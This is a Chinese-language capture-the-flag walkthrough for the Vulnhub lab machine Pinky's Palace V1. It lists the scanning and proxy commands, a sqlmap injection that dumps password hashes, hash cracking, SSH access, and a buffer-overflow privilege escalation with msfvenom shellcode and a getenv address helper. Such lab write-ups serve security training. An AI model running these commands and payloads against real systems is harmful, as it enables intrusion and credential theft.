[Vulnhub] Pinkys-PalaceV1 Squid http proxy+SQI+BOF

news2024/11/24 6:17:38

信息收集

IP Address	Opening Ports
192.168.8.106	TCP:8080,31337,64666

$ nmap -p- 192.168.8.106 --min-rate 1000 -sC -sV

PORT      STATE SERVICE    VERSION
8080/tcp  open  http       nginx 1.10.3
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.10.3
31337/tcp open  http-proxy Squid http proxy 3.5.23
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.23
64666/tcp open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
|   2048 df:02:12:4f:4c:6d:50:27:6a:84:e9:0e:5b:65:bf:a0 (RSA)
|   256 0a:ad:aa:c7:16:f7:15:07:f0:a8:50:23:17:f3:1c:2e (ECDSA)
|_  256 4a:2d:e5:d8:ee:69:61:55:bb:db:af:29:4e:54:52:2f (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

$ curl http://127.0.0.1:8080 -x 192.168.8.106:31337

目录爆破

$ dirb http://127.0.0.1:8080 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -p 192.168.8.106:31337

$ gobuster dir -u "http://127.0.0.1:8080/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --proxy http://192.168.8.106:31337

http://127.0.0.1:8080/littlesecrets-main/

SQLI

$ sqlmap --proxy=http://192.168.8.106:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump users

+-----+----------------------------------+-------------+
| uid | pass                             | user        |
+-----+----------------------------------+-------------+
| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |
| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+

$ hashcat -m 0 -a 0 'd60dffed7cc0d87e1f4a11aa06ca73af' /usr/share/wordlists/rockyou.txt --force

username:pinkymanage
password:3pinkysaf33pinkysaf3

SSH

$ ssh pinkymanage@192.168.8.106 -p 64666

pinkymanage@pinkys-palace:~$ cat /var/www/html/littlesecrets-main/ultrasecretadminf1l35/note.txt

pinkymanage@pinkys-palace:~$ cat /var/www/html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret|base64 -d

$ ssh -i ./id_rsa pinky@192.168.8.106 -p 64666

权限提升&BOF

方法 1

$ gdb -q ./adminhelper

(gdb) break main

(gdb) run 1

(gdb) jump spawn

(gdb) info functions spawn

(gdb) run $(python -c "print 'A'*72")

通过测试缓冲区溢出为72

(gdb) run $(python -c "print 'A'*72+'B'*4")

(gdb) run $(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55\x00\x00'")

$ ./adminhelper $(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55\x00\x00'")

99975cfc5e2eb4c199d38d4a2b2c03ce

方法 2

$ msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'

$ export maptnh=`python -c 'print "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa1\x12\x80\xb5\xc8\x09\xbf\x96\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe9\xaa\xaf\xd7\xa1\x67\x90\xe5\xc9\x12\x19\xe5\x9c\x56\xed\xf0\xc9\x3f\xe3\xe1\x96\x5b\x57\x9e\xa1\x12\x80\x9a\xaa\x60\xd1\xb9\xd2\x7a\x80\xe3\x9f\x5d\xe1\xfc\x9a\x4a\x8f\xb0\xc8\x09\xbf\x96"'`

/*getenv.c*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char *ptr;

	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}